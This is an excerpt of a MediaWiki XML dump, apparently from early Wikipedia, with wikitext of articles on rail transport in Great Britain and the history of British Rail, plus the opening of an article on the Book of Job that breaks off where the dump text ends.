&lt;div style=&quot;float:right; margin:0 0 1em 1em; font-style:italic;&quot;&gt;[[Image:Class 47 railway locomotive - Fragonset Black livery - Victoria Water railway station - 280404.jpg|thumbnail|none|Class 47 railway locomotive, hired from Fragonset Railways, Virginia Water railway station, April 2004 ]]&lt;/div&gt;
A proportion of the rolling stock of [[British Rail]] was sold off to companies that lease or hire stock to passenger and freight operators, as well as to [[National Rail]] and railway maintenance companies. Leasing is relatively commonplace in public transportation, since it enables operating companies to avoid the complication associated with raising sufficient capital to purchase assets; instead, assets are leased and paid for from ongoing revenue.

There are three major leasing companies, and a number of smaller operations:
===Leasing Companies===
* '''[[Angel Trains]]''', owned by the [[Royal Bank of Scotland]], and which claims to be the biggest rolling stock company in Britain, with some 5,000 assets. [http://www.angeltrains.co.uk/ website]
* '''[[HSBC Rail]]''' a lessor of domestic passenger rolling stock, owned by [[HSBC]].
* '''[[Porterbrook]]''', owned by the [[Abbey National]] Group, which leases some 3,500 locomotives, trains and freight wagons. [http://www.porterbrook.co.uk/english/frame.html website]

===Spot-Hire Companies===
*'''[[Cotswold Rail]]''', a spot-hire company with a stock of [[British Rail Class 08|Class 08]] shunting locomotives, and [[British Rail Class 47|Class 47]] locomotives. This company works closely with [[Anglia Railways]].[http://www.cotswoldrail.com/homeset.htm website]
*'''[[FM Rail]]''' (formerly Fragonset Railways), a spot-hire company with a stock of [[British Rail Class 08|Class 08]] shunting locomotives, and [[British Rail Class 31|Class 31]], [[British Rail Class 33|Class 33]], [[British Rail Class 45|Class 45]], [[British Rail Class 47|Class 47]], [[British Rail Class 56|Class 56]], [[British Rail Class 73|Class 73]] and [[British Rail Class 86|Class 86]] main line locomotives. [http://www.fmrail.com/ website]
*'''[[GL Railease]]''' owned by GATX Capital, and Lombard, a subsidiary of  the Royal Bank of Scotland.
*'''[[Harry Needle Railroad Company]] Ltd''', an industrial and main line locomotive hire and overhaul company. Operates [[British Rail Class 08|Class 08]] shunting locomotives, and [[British Rail Class 37|Class 37]] locomotives. [http://www.hnrc.co.uk/ website]
*'''[[Riviera Trains]]''', a spot-hire company with a fleet of [[British Rail Class 47|Class 47]] locomotives.
*'''[[RT Rail]]''', a small hire company with a stock of [[British Rail Class 08|Class 08]] shunting locomotives.
*'''[[West Coast Railway Company]]''', a spot-hire and railtour-operator with a stock of [[British Rail Class 37|Class 37]] and  [[British Rail Class 47|Class 47]] locomotives, as well as the prototype passenger [[British Rail Class 57|Class 57]] locomotive.

{{Template:British_Rail_Spot_Hire_Companies}}

==Statutory framework==

UK railways are run at arm's length from the government, through two government organisations, both of which have statutory powers under various Acts of Parliament (such as the Railways Act 1993, the Competition Act 1998 and the Transport Act 2000), and both of which receive Directions and Guidance from the Secretaries of State for Transport.

The two organisations share the same purpose, but have different jurisdictions; the two entered into a concordat in February 2002 to clarify demarcation and communications issues.

The [[Strategic Rail Authority]] is the statutory strategic planning and coordinating body for the rail industry, and the guardian of passenger and freight interests.  It determines strategy for passenger and freight train services, let and manages franchises to operators, and enforces consumer protection franchise licence conditions.  Following the 2004 Rail Review, the SRA is to be wound up and its responsibilities transferred to the Government and [[Network Rail]].

The [[Office of Rail Regulation]] has as its principal functions to regulate Network Rail's stewardship of the national rail network infrastructure, and to hold train operating companies accountable to the terms of their operating licence. It replaced the [[Office of Rail Regulation]] in 2004.

In addition, safety in the railway industry is regulated and enforced by the [[Health and Safety Executive]], and the [[National Audit Office]] provides audit reports on Network Rail to the [[House of Commons]].

See also: [[Structure of the rail industry in the United Kingdom]].

==Local metro systems==

A number of towns and cities have [[metro]] systems:
{{Britishmetros}}

==UK railway stations==
Most UK [[railway station]]s date from the [[Victorian era]] and are located on the edge of [[town centre]]s.  Major stations are generally in large cities, with a particular concentration in [[London]], but some important railway junction stations lie in smaller cities, for example [[Crewe station]] and [[Carlisle station]]. Other places expanded into towns and cities because of the railway network, [[Swindon]] for example was little more than a village prior to the [[Great Western Railway]] siting their locomotive works there. 

{{UK Major Railway Stations}}
{{UKrailwaystations}}

==Railway Industry ==

===Statutory authorities===
*[[Health and Safety Executive]] &amp;mdash; [http://www.hse.gov.uk/railways/index.htm Website]
*[[Office of Rail Regulation]] &amp;mdash; [http://www.rail-reg.gov.uk/ Website]  
*[[Strategic Rail Authority]] &amp;mdash; [http://www.sra.gov.uk/ Website]
*[[UK Notified Bodies]] &amp;mdash; [http://www.riagb.org.uk/nobos.htm/ Website]

===Network rail &amp; signalling operations===
*[[Railtrack]] ([[1996]]&amp;ndash;[[2002]])
*[[Network Rail]] ([[2002]]&amp;mdash;) &amp;mdash; [http://www.networkrail.co.uk/ Website] &amp;mdash; (A &quot;not for profit&quot; company limited by guarantee)

===Other national entities===
*[[Association of Train Operating Companies]] &amp;mdash; ATOC &amp;mdash; [http://www.atoc.org/ Website]
*[[Associated Society of Locomotive Engineers and Firemen]] &amp;mdash; ASLEF &amp;mdash; [http://www.aslef.org.uk/ Website]
* Institution of Railway Operators &amp;mdash; [http://www.railwayoperators.org/ Website]
*[[National Union of Rail, Maritime and Transport Workers]] &amp;mdash; RMT &amp;mdash; [http://www.rmt.org.uk/ Website]
* Rail Freight Group &amp;mdash; [http://www.rfg.org.uk/ Website]
* Rail Passengers Council and Committees &amp;mdash; [http://www.railpassengers.org.uk/ Website]
* Rail Safety and Standards Board &amp;mdash; RSSB &amp;mdash; [http://www.rssb.co.uk/ Website]
* The Railway Forum &amp;mdash; [http://www.railwayforum.com/ Website]
* Railway Mission &amp;mdash; [http://www.railwaymission.org/ Website]
* Railway Study Association &amp;mdash; [http://www.railwaystudyassociation.org/ Website]
*[[Transport Salaried Staffs' Association]] &amp;mdash; TSSA &amp;mdash; [http://www.tssa.org.uk/ Website]

===Regional entities===
''See [[Passenger Transport Executive]]''

* Centro ([[West Midlands Passenger Transport Executive]]) &amp;mdash; [http://www.centro.org.uk/wwwroot/HomePage.asp Website]
* GMPTE ([[Greater Manchester Passenger Transport Executive]]) &amp;mdash; [http://www.gmpte.com/ Website]
* Merseytravel ([[Merseyside Passenger Transport Executive]]) &amp;mdash;  [http://www.merseytravel.gov.uk/ Website]
* Metro ([[West Yorkshire Passenger Transport Executive]]) &amp;mdash; [http://www.wymetro.com/ Website]
* Nexus ([[Tyne and Wear Passenger Transport Executive]]) &amp;mdash; [http://www.nexus.org.uk/ Website]
*SYPTE ([[South Yorkshire Passenger Transport Executive]]) &amp;mdash; [http://www.sypte.co.uk/index.htm Website]
* [[Strathclyde Passenger Transport]]  &amp;mdash; [http://www.spt.co.uk/ Website]
*[[Transport for London]] &amp;mdash; TfL &amp;mdash; [http://www.tfl.gov.uk/tfl/ Website]

See [[List of companies operating trains in the United Kingdom]].

===Freight railway companies===
*[[English Welsh and Scottish Railway]] &amp;mdash; EWS &amp;mdash; [http://www.ews-railway.co.uk/ Website]
*[[Freightliner]] &amp;mdash; [http://www.freightliner.co.uk/ Website]
*[[Direct Rail Services]]
*[[GB Railfreight]]

===Open access operators and other non-franchised passenger operators===
*[[Eurostar]] &amp;mdash; [http://www.eurostar.com/ Website]
*[[Heathrow Express]] &amp;mdash; [http://www.heathrowexpress.co.uk/ Website]
*[[Hull Trains]] &amp;mdash; [http://www.hulltrains.co.uk/ Website]
*[[Northern Ireland Railways]] &amp;mdash; [http://www.nirailways.co.uk/ Website]
*[[Venice Simplon Orient Express]] (VSOE)

==Early railway companies (1820s&amp;ndash;1840s)==
** This is only the earliest of the main line openings: for a more comprehensive list of the hundreds of early railways see [[List of early British railway companies]] 
*[[South Eastern Railway|Canterbury and Whitstable Railway]]
*[[Birmingham and Derby Junction Railway]]          (BDJR)
*[[Grand Junction Railway]]                         (GJR)
*[[Liverpool and Manchester Railway]]               (LMR)
*[[London and Birmingham Railway]]                  (L&amp;BR)
*[[South Eastern Railway|London and Greenwich Railway]]
*[[North Midland Railway]]                          (NMR)
*[[Midland Counties Railway]]                       (MCR)                        
*[[Stockton and Darlington Railway]]                (S&amp;D)
*[[Taff Vale Railway]]       (TVR)

==Grouping (1923&amp;ndash;1947)==
Under the [[Railways Act 1921]] the majority of the railway companies in Great Britain (and few in Northern Ireland) were grouped into four main companies, often termed the ''Big Four'': the grouping took effect from [[1 January]] [[1923]]. The Big Four were:
*[[Great Western Railway]]                     (GWR)
*[[London and North Eastern Railway]]          (LNER)
*[[London, Midland and Scottish Railway]]      (LMS)
*[[Southern Railway (UK)|Southern Railway]]    (SR)
For a comprehensive list see [[List of railway companies involved in the 1923 grouping]]

==Heritage and private railways==

There are a number of private and [[heritage railway]]s in Britain. 

A [[list of British heritage and private railways]] is available.

==See also==

*[[Rail transport by country]]
*[[History of rail transport in Great Britain]]
*[[List of funiculars in the United Kingdom]]
*[[List of British Narrow Gauge Railways]]
*[[UK topics]]

==References==
*[http://www.sra.gov.uk/publications/national_rail_trends_pubs/nrt_q3_0304/nrt_file_q3 National Rail Trends] 2003&amp;ndash;2004 quarter three, from the Strategic Rail Authority. (Warning: '''[[Portable Document Format|PDF]]''' format)
*[http://www.dft.gov.uk/stellent/groups/dft_transstrat/documents/page/dft_transstrat_503944.hcsp DfT Transport Ten Year Plan 2000] from the UK Government Department for Transport.
*[http://www.nao.org.uk/publications/nao_reports/03-04/0304532.pdf Network Rail &amp;mdash; Making a Fresh Start] &amp;mdash; [[National Audit Office]] report, 14&lt;sup&gt;th&lt;/sup&gt; May 2004. (Warning: '''[[Portable Document Format|PDF]]''' format)
*[http://www.imeche.org.uk/railway/events/list_of_past_events.asp Railway industry topic guides from the Institution of Mechanical Engineers]

==External links==
{{commonscat|Railways of Great Britain}}
*[http://www.nationalrail.co.uk/tocs_maps/maps/ UK Railway Maps]
*{{wikicities|UKRailways|UK Railways}}
*[http://bbs.keyhole.com/ubb/showthreaded.php/Cat/0/Number/116073 Collection of Google Earth locations of National Rail stations] (Requires [http://earth.google.com Google Earth software]) from the Google Earth Community forum.

[[Category:Rail transport in Great Britain| ]]
[[fr:Système ferroviaire britannique]]</text>
    </revision>
  </page>
  <page>
    <title>British Rail</title>
    <id>4385</id>
    <revision>
      <id>41480181</id>
      <timestamp>2006-02-27T17:18:51Z</timestamp>
      <contributor>
        <ip>86.128.172.34</ip>
      </contributor>
      <comment>/* British Rail */</comment>
      <text xml:space="preserve">[[Image:BR-logo.svg|thumb|right|300px|Logo of British Rail]]
'''British Railways (BR)''', later rebranded as '''British Rail''', ran the [[Rail transport in the United Kingdom|British railway system]] from the [[nationalisation]] of the 'Big Four' British [[railway]] companies in 1948 until its [[Privatisation of British Rail|privatisation]] in stages between 1994 and 1997.

This period saw massive changes in the nature of the railway network: steam traction was eliminated in favour of diesel and electric power, passengers replaced freight as the main source of business, and the network was severely rationalised.

==History==
=== Background ===
[[Image:British Railways Eastern Region timetable for Summer 1963.jpg|thumb|right|British Railways [[Eastern Region of British Railways|Eastern Region]] [[timetable]] for Summer 1963.]]
The [[rail transport in Great Britain|rail transport system in Great Britain]] developed during the 19th century.  After the grouping of 1923 by the [[Railways Act 1921]] there were four large British railway companies, each dominating its own geographic area.  These were the [[Great Western Railway]] (GWR), the [[London, Midland and Scottish Railway]] (LMS), the [[London and North Eastern Railway]] (LNER) and the [[Southern Railway (UK)|Southern Railway]] (SR).

The [[London Underground]] and the [[Glasgow Subway]] were independent concerns and there was a small number of independent [[1896 Light Railways Act|light railways]] and [[industrial railway]]s, which did not contribute significant mileage to the system.  Neither were non-railway-owned [[tramway]]s considered part of the system.

During the [[World War II|Second World War]] the railways were taken into state control. They were heavily damaged by enemy action and were extremely run down due to lack of capital investment or maintenance in aiding the war effort.

=== Nationalisation ===
The [[Transport Act 1947]] made provision for the [[nationalization|nationalisation]] of the network, as part of a policy of nationalising public services by [[Clement Attlee]]'s [[Labour Party (UK)|Labour]] Government.  British Railways came into existence on [[1 January]] [[1948]] with the merger of the Big Four, under the control of the [[Railway Executive]] of the [[British Transport Commission]] (BTC).

The [[Northern Counties Committee]] lines owned by the LMS in [[Northern Ireland]] were quickly sold to the [[Stormont Government]], becoming part of the [[Ulster Transport Authority]] (UTA) in 1949.

[[image:British_Railways_lion_and_wheel_on_coach.jpg|thumb|right|The emblem of British Railways, also called the &quot;Ferret and Dartboard&quot;]]
=== British Railways ===
The new system was split geographically into six regions along the lines of the Big Four:
* [[Eastern Region of British Railways|Eastern Region]] (ER) &amp;mdash; southern LNER lines.
* [[North Eastern Region of British Railways|North Eastern Region]] (NER) &amp;mdash; northern LNER lines in [[England]] and all ex-LMS lines east of [[Skipton]].
* [[London Midland Region of British Railways|London Midland Region]] (LMR) &amp;mdash; LMS lines in England and [[Wales]] and most ex-LNER lines west of [[Skipton]].
* [[Scottish Region of British Railways|Scottish Region]] (ScR) &amp;mdash; LMS and LNER lines in [[Scotland]].
* [[Southern Region of British Railways|Southern Region]] (SR) &amp;mdash; SR lines. 
* [[Western Region of British Railways|Western Region]] (WR) &amp;mdash; GWR lines.

These regions would form the basis of the BR business structure until the 1980s.  The Eastern and North Eastern Regions were merged to form the Eastern Region in the 1960s, Anglia Region was split off from the Eastern Region in the 1980s. They retained a level of independence, though there was also some centralisation.

[[image:ExLMS_jubilee_Sandwich.jpg|thumb|right|ex-LMS Jubilee Class 45641 ''Sandwich'' at [[Chinley]] in 1954]]
=== 1955 Modernisation Plan ===
After the Second World War, Britain's railways fell behind others in the world. Countries like Japan, USA and France were experimenting with new diesels and electrics. However, Britain wasn't, and the run down network deteriorated even more because of painfully slow rebuilding. Finally, and lately, came the modernisation plan for Britain's railways. It cost the government much more than it should have, because of bad timing.

The 1955 Modernisation Plan, detailed in the [[British Transport Commission]]'s (BTC) ''Modernisation and Re-equipment of British Railways'', argued for spending [[Pound Sterling|£1,240 million]] over a period of 15 years.  Services were to be made more attractive to passengers and freight operators, thus recovering traffic which was being lost to the roads.  There were three important areas:

* Electrification of principal express routes, the [[Eastern Region of British Railways]], [[Kent]], Birmingham and Central [[Scotland]], 
* Large-scale introduction of diesel and electric traction to replace [[steam locomotives of British Railways|steam locomotives]] and including new passenger coach stock 
* Resignalling and track renewal

A government [[White Paper]] was produced in 1956, stating that modernisation would help eliminate BR's financial deficit by 1962.

However the modernisation plan failed to take into account the effect that mass road transport would have upon the traditional role of the railways, and as a result much money was wasted by heavy investment in things like [[marshalling yard]]s, at a time when small wagon-load traffic was in rapid decline. Much money was also wasted by the rapid introduction of new classes of diesel locomotives into fleet service without an adequate period of prototype testing, which resulted in several classes being scrapped within a very few years of their being built. The failure of the Modernisation Plan led to a distrust of British Rail's financial planning abilities by the Treasury which was to dog BR for the rest of its existence.

[[Image:Barry Scrapyard line of tank engines.jpg|thumb|right|There was mass withdrawal of steam types]]

=== The Beeching Axe and the end of steam ===
{{main|Beeching Axe}}

In 1963, BR chairman Dr [[Richard Beeching]] published the ''Re-Shaping of British Railways'' calling for major rationalisation of the system.  Many rural routes were unprofitable in the face of increasing competition from road hauliers and the private car. The [[Beeching Axe]] fell on most branch lines and some main lines. Some of these lines have since become [[List of British heritage and private railways|heritage railways]].

The early 1960s also saw the &quot;Great Locomotive Cull&quot;, with mass withdrawals of steam types, and their replacement with [[diesel]]s, fewer of which were needed on the shrinking system. Steam traction's last stand came in the North-West of [[England]] in August 1968.  The use of steam locomotives on independent industrial lines, particularly by the [[National Coal Board]] (NCB), continued into the 1970s.  Many locomotives were preserved, having not been scrapped immediately on withdrawal, but most fell victim to the cutter's torch.&lt;br style=&quot;clear:both;&quot; /&gt;


From 1958 to 1974 the [[West Coast Main Line]] was electrified in stages at the French voltage of [[volt|25 kV]] [[Hertz|50Hz]] [[alternating current|AC]] [[Overhead lines|overhead line electrification]].  Many commuter lines around [[London]] and [[Glasgow]] were also electrified, and the [[Southern Region]] extended its 750 V [[direct current|DC]] [[third rail]] system to the [[Kent]] coast.  However electrification never reached system-wide level as on many other [[Europe]]an railways.

=== British Rail ===
[[image:47241_Reading.jpg|thumb|right|[[British Rail Class 47|Class 47]] 47241 in &quot;corporate blue&quot; livery in 1980]]
Steam traction on British Railways ended in August 1968 after the system was rebranded '''British Rail''' (see [[British Rail brand names]] for a full history). This introduced the double-arrow logo, still used by [[National Rail]] to represent the industry as a whole (though some cynics claimed the logo was really called the &quot;arrow of indecision&quot; and meant the railway didn't know if it was coming or going); the standardised [[typeface]] used for all communications and signs; and the &quot;rail blue&quot; livery which was applied to nearly all locomotives and rolling stock.

In 1973 the [[TOPS|TOPS system]] for classifying locomotives and multiple units was introduced, and is the basis of the [[list of British Rail classes|classification system]]. Hauled rolling stock continued to carry numbers in a separate series. Also during this time, [[yellow warning panel]]s, characteristic of British railways, were added to the front of diesel and electric locomotives and multiple units in order to increase the safety of track workers.

The major engineering works were split off into a separate company, ''British Rail Engineering Limited'' ([[BREL]]), in 1970.

=== Sectorisation ===
[[Image:1586 at London Victoria.jpg|thumb|right|Sectorisation produced a more colourful railway &amp;mdash; this is the [[Network SouthEast]] livery. It is a Mk1 electric multiple unit.]]
[[image:Virgin_Trains_class_87_&amp;_train.jpg|thumb|right|Old trains, new livery -- [[Virgin Trains]] took over two [[InterCity (British Rail)|InterCity]] franchises.]]
In the 1980s the regions of BR were abolished and the system sectorised into five sectors.  The passenger sectors were [[InterCity (British Rail)|InterCity]] (express services), [[Network SouthEast]] (London commuter services) and [[Regional Railways]] (regional services).  [[Trainload Freight]] took trainload freight, [[Railfreight Distribution]] took non-trainload freight, [[Freightliner (UK)|Freightliner]] took [[intermodal freight transport|intermodal]] traffic and [[Rail Express Systems]] took parcels traffic.  The maintenance and remaining engineering works were split off into a new company, BRML (British Rail Maintenance Limited).  The new sectors were further subdivided into divisions.  This ended the &quot;[[Rail Blue|BR blue]]&quot; period as new liveries were adopted gradually.  Infrastructure remained the responsibility of the Regions until the &quot;Organisation for Quality&quot; initiative in 1991, when this too was transferred to the sectors.  

=== Privatisation ===
{{main|Privatisation of British Rail}}
On the advice of the [[Adam Smith Institute]], under [[John Major]]'s [[Conservative Party (UK)|Conservative]] Government's [[Railways Act 1993]] British Rail was split up and [[privatisation|privatised]].  This was a continuation of the policy of [[Margaret Thatcher]]'s Conservative government's privatisation of publicly-owned services.  The unpopular Conservative Government was facing a [[Labour Party (UK)|Labour]] victory at the May 1997 [[General Election]] and so privatisation was rushed through and was finished in November 1997.

BR was privatised within the business structure that was in place.  Passenger services in each sector were [[franchising|franchise]]d out to private companies, mostly bus operators. The [[Association of Train Operating Companies]] (ATOC) was created to organise ticketing and market the rail services using the [[National Rail]] brand.  Freight operations were sold but mostly bought by one company, [[EWS]].  [[Railtrack]] controlled infrastructure.  The Shadow Strategic Rail Authority was created to oversee and advise the government.  The British Railways Board remained with some residual functions.

Privatisation has had mixed results.  Passenger growth has been stimulated, but this has been at extra cost to the taxpayer and passengers, who have seen steady fare increases since 1997. Freight has also increased; however, there is debate as to whether these increases in passengers and freight have been due to privatisation, or simply to an improved economy which usually results in more travel. Some analysts have pointed out that a similar rise in passenger numbers occurred in the late 1980s when the economy was buoyant, only to fall again in the recession of the early 1990s; however, recent passenger-journey numbers have climbed back to the level last seen in the 1950s.

Railtrack's management proved to be incompetent and the Labour government refused to continue to subsidise the losses of shareholders. It went insolvent, was put in receivership and was replaced by a not-for-profit publicly owned [[Network Rail]].  Some saw this as the first step towards renationalisation. Given the costs this is unlikely at present although some studies have recommended this as a cheaper choice than the current subsidies to commercial companies.  The Shadow Strategic Rail Authority's power became real when it dropped part of its name, becoming the [[Strategic Rail Authority]] (SRA). The functions of the SRA were later transferred to the [[Department for Transport]].

There has been some controversy over the decision to withhold subsidies from Railtrack, which forced it to become insolvent. Recent press reports have indicated that the then transport minister [[Stephen Byers]] deliberately forced the company to become insolvent, as this would remove any obligation on the government to provide compensation to Railtrack's shareholders, who would lose their investment.

== Network ==

The BR network, with the trunk routes of the [[West Coast Main Line]], [[East Coast Main Line]], [[Great Western Main Line]]  and [[Midland Main Line]], remains unchanged.  The [[Beeching Axe]] fell on many branch lines and some other main lines.

== Locomotives and rolling stock ==

=== Locomotives ===
==== Steam locomotives ====
{{main|Steam locomotives of British Railways}}
BR inherited more than 20,000 locomotives from the constituent &quot;Big Four&quot; companies, the vast majority of which were steam locomotives. BR also built 2537 steam locomotives in the period 1948-1960: 1538 were to pre-nationalisation designs, and 999 to its own standard designs. These locomotives were destined to lead short lives, some as little as 5 years against a design life of over 30 years, because of the decision to end the use of steam traction in 1968.

==== Diesel locomotives ====
{{main|Diesel locomotives of British Rail}}

When BR was created, diesel traction was in its infancy in the [[United Kingdom]] (though more progress had been made in other countries, whose experience could arguably have been used to a greater degree in informing developments in the UK). Only one mainline diesel locomotive was inherited in 1948 (though more were on order) and a handful of diesel shunters of various types.

Initially, BR persisted with the small scale experimentation with diesel traction while continuing to build hundreds of steam locomotives to old and new designs. Even some steam shunters were being built through to the mid-1950s, when standard diesel shunters were already in large scale production. However, it was not until the 1955 Modernisation Plan that more substantial developments in mainline diesel locomotive technology were planned.

The Plan envisaged small numbers of prototype locomotives of varying power types being ordered from a variety of manufacturers. These could be tested and compared against each other before large scale orders were placed. Unfortunately, even before many of the prototypes had been delivered, a combination of the political need to maintain employment in the British locomotive-building industry and over-optimistic assessments of the possibilities offered by new diesel locomotives meant that large scale orders were placed for a wide variety of untested and incompatible designs, many of which proved to be very poor.

By the end of 1968, all the remaining mainline steam locomotives and shunters had been withdrawn - but during the period 1967-71 so were a large number of virtually new diesel locomotives and shunters (some only three years old) as many designs had proved unsuccessful, non-standard, and unnecessary with changed requirements on the railways, e.g. widespread line closures and the decline of wagonload freight traffic. However, some of the diesel shunters withdrawn during this period did find further use on industrial railway systems.

After the large scale production of some 5000 diesel locomotives and shunters in the period 1956-1968, the British locomotive-building industry virtually collapsed. BR needed very few new diesel locomotives from then on; only 285 heavy duty freight locomotives and the 199 [[High Speed Train]] power cars were purchased from then until privatisation began in 1994. No diesel locomotives have been built in Britain for the mainline system since 1991; the most recent new types have been imported from [[Canada]] and [[Spain]].

{{sectstub}}

==== Electric locomotives ====
{{main|Electric locomotives of British Rail}}

Electric traction was more advanced than diesel traction at Nationalisation, with a number of isolated electrified networks across the country using a variety of power supplies, though 1500V dc overhead supply had been accepted as the national standard in the 1930s. However, most of these networks used electric multiple units to provide the passenger service, with steam locomotives operating freight trains. Thus, BR inherited only 13 ex-North Eastern and 3 ex-Southern Railway electric locomotives, plus two departmental electric shunters, also ex-Southern Railway.

In the early years of BR, a number of locomtives were built to operate on the newly-refurbished and electrified ''Woodhead Route'' using the 1500V dc overhead system. However, by the time that the next major electrification project, the West Coast Main Line (WCML), was underway, the decision had been taken to adopt 25kV ac overhead as the standard supply system. 

BR decided to test a variety of new 25kV ac types for the WCML electrification; in all 100 locomotives of five classes were built by different manufacturers. Having learned the lessons from these types, a standard class of a further 100 examples was ordered. This latter type, which was introduced in 1966 is still in service today. The earlier prototypes, though they were mostly pretty successful, succumbed in the 1980s and early 1990s as non-standard following the arrival of new electric locomotives.

Although the purchase of new electric types was carried out in a more successful way than the comparable process for diesel locomotives (see above), the 200-or-so electric locomotive fleet used to operate the WCML from the mid-1960s until the recent introduction of [[Pendolino]] trains was still far smaller than that originally envisaged; more than 500 were thought necessary when the initial plans were developed! It was fortunate that changes in the railway's operation had already occurred before mass orders were placed for electric traction.

{{sectstub}}

=== Coaches ===
{{sectstub}}
*[[British Carriage and Wagon Numbering and Classification]]
*[[Coaches of the London, Midland and Scottish Railway]]
*[[Coaches of the Great Western Railway]]
*[[Coaches of the Southern Railway]]
*[[Coaches of the London and North Eastern Railway]]
*[[British Rail Mark 1]]
*[[British Rail Mark 2]]
*[[British Rail Mark 3]]
*[[British Rail Mark 4]]


'''Freight wagons and industrial tankers.'''
*[[Coal trucks]].
*[[Parcels vans and mail wagons]].
*[[Industrial and oil tankers]].
*[[Flat-cars and car-transporters]].
*[[Gravel hoppers]].

=== Multiple units ===
 [[Image:Pacer at Manchester Victoria.jpg|thumb|right|The Pacer was British Rail's attempt to create a low cost [[Diesel and electric multiple units|Diesel Multiple Unit]] ]]
*[[Multiple units]].
*[[Diesel and electric multiple units]].
*[[Pacer (train)|Pacer]] units.


{{sectstub}}

== See also ==

*[[British Rail brand names]]
*[[History of rail transport in Great Britain]]
*[[British Locomotive and Multiple Unit Numbering and Classification]]
*[[British Carriage and Wagon Numbering and Classification]].
*[[London Underground]]
*[[List of companies operating trains in the United Kingdom]]
*[[List of British companies]]
*[[Gerry Fiennes]]

==External links==
Sorted alphabetically
* [http://ndad.ulcc.ac.uk/datasets/AH/britrail.htm British Railways Board history]
* [http://www.railwayforum.com/Educational/british_railways_from_1948.htm British railways from 1948]
* [http://www.numberseventy.co.uk/ferroequinology.htm Ferroequinology]
* [http://www.brb.gov.uk The British Railways Board]
[[category:British Rail(ways)]]
[[Category:British railway companies]]

[[de:British Rail]]
[[fr:British Rail]]
[[hu:British Railways]]
[[nl:British Rail]]
[[sv:British Rail]]</text>
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  </page>
  <page>
    <title>Book of Job</title>
    <id>4386</id>
    <revision>
      <id>42098729</id>
      <timestamp>2006-03-03T20:45:36Z</timestamp>
      <contributor>
        <username>Stephensuleeman</username>
        <id>468855</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{cleanup-date|September 2005}}
{{Books of the Old Testament}}  {{Books of Ketuvim}} 
The '''Book of Job''' ('''&amp;#1488;&amp;#1497;&amp;#1493;&amp;#1489;''', [[Standard Hebrew]] '''Iyyov''', [[Tiberian Hebrew]] '''&amp;#702;Iyyô&amp;#7687;'''; [[Arabic language|Arabic]] '''&amp;#1571;&amp;#1610;&amp;#1617;&amp;#1608;&amp;#1576;''' '''&amp;#702;Ayy&amp;#363;b''') is one of the books of the Hebrew [[Bible]] (or [[Tanakh]]), and one of the books of the Christian [[Old Testament]]. The name Job or Yob (&quot;Yobe&quot;) means ''Hostility'' in [[Hebrew language|Hebrew]]. ''Jobe'' is a [[Biblical poetry|didactic poem]] set in a [[prose]] framing device.

The Book of Job has been called the most difficult book of the Bible. The numerous [[Exegesis|Exegeses]] of the ''Book of Job'' are classic attempts to reconcile the co-existence of evil and God (in Greek, these justifications are known as ''[[theodicy|theodicies]]''). ''Job'' appears both as an invocation to righteousness, a cynical outlook on the idea of righteousness, and a response to the [[problem of evil]]. Scholars are divided as to what the original intent of the poem was, and a few even suggest it was meant as a satire against more puritanical upholding of religion.

=== Authorship ===
A great diversity of opinion exists as to the authorship of this book.  Two [[Talmud]]ic traditions hold that [[Job (Biblical figure)|Job]] either lived in the time of [[Abraham]] or of [[Jacob]]. Levi ben La&amp;#7717;ma  held that Job lived in the time of [[Moses]], by whom the Book of Job was written.  Others argue that it was written by [[Job (Biblical figure)|Job]] himself, or by [[Elihu (Job)|Elihu]], or [[Isaiah]]. From internal evidence, such as the similarity of sentiment and language to those in the [[Psalms]] and [[Book of Proverbs|Proverbs]] (see [[Psalms]] 88 and 89), the prevalence of the idea of &quot;wisdom,&quot; and the style and character of the composition, it is supposed by some to have been written in the time of King [[David]] and King [[Solomon]]. Some, however place it in around the time of the Babylonian exile. [[Talmud|Talmudic tradition]] treats the story of Job as a parable.

In contrast, secular examinations of the text more generally conclude that, though archaic features such as the &quot;council in heaven&quot; survive, and though the story of Job was familiar to Ezekiel, the present form of Job was fixed in the [[4th century BC]]. The story of Job apparently originated in the land of [[Edom]], which has been retained as the background.  Fragments of ''Job'' are found among the [[Dead Sea scrolls]], and Job remains prominent in [[Aggadah|haggadic]] legends. Compare the later Greek  ''[[Testament of Job]]'' among the [[apocrypha]]. Secular scholars agree that the introductory and concluding sections of the book, the framing devices, were composed to set the central poem into a prose &quot;folk-book,&quot; as the compilers of the ''Jewish Encyclopedia'' expressed it. In the prologue and epilogue, the name of God is Yahweh, a name that even the Edomites use. Secular scholars agree that the central poem is from another source.

=== Narrative structure ===
The subject is the trial of Job, its occasion, nature, endurance, and issue.  It consists of
#An historical introduction in prose (ch. 1,2).
#The controversy and its solution, in poetry (ch. 3-42:6).  Job's desponding lamentation (ch. 3) is the occasion of the controversy which is carried on in three courses of dialogues between Job and his three friends. The first course gives the commencement of the controversy (ch. 4-14); the second the growth of the controversy (15-21); and the third the height of the controversy (22-27). Job puts God on trial through an &quot;Oath of Innocence&quot; (Job 27-31). This is followed by a solution of the controversy in the speeches of Elihu and the address of [[Jehovah]], followed by Job's humble confession (42:1-6) of his own fault and folly. Some read Elihu's speeches as a false climax since he repeats the arguments of Job's friends which God condemns (Job 42:7-8). Job's repentance is controversial and may imply only a change of course in his prosecution of God and not a moral confession of sin.
#The third division is the historical conclusion, in prose (42:7-15).

It is possible that the introductory and concluding sections of the book were composed by a different author than the body of the book.

==Later interpolations and additions==
In the edited form of ''Job'' that we have, various interpolations have been claimed to have been made in the text of the central poem. The clearest of these are of two kinds: the &quot;parallel texts&quot;, which are parallel developments of the corresponding passages in the base text, and the speeches of Elihu (Chapters 32-37), which consist of a polemic against the ideas expressed elsewhere in the poem, and so appear to be interpretive interpolations. The speeches of Elihu (who is not mentioned in the prologue or epilogue) contradict the fundamental teachings of the central poem of Job, according to which it is impossible that the righteous should suffer, all pain being a punishment for some sin. Elihu, however, assumes that suffering may be decreed for the righteous as a protection against greater sin, and for moral betterment.  

Subjects of more contention among scholars are the identity of corrections and revisions of Job's speeches, which have been made for the purpose of harmonizing them with the orthodox doctrine of retribution.  A prime example of this is the translation of the last line Job speaks(42:6). Traditional translations have him say, &quot;Therefore I despise myself, and repent in dust and ashes.&quot; Yet a more accurate translation(from  the original Hebrew) would have Job saying, &quot;Therefore I despise, yet repent in dust and ashes.&quot; This makes him not despise himself, but dust and ashes, which refers to the thus perceived absurdity of the universe.

=== Exegesis of the ''Book of Job''===
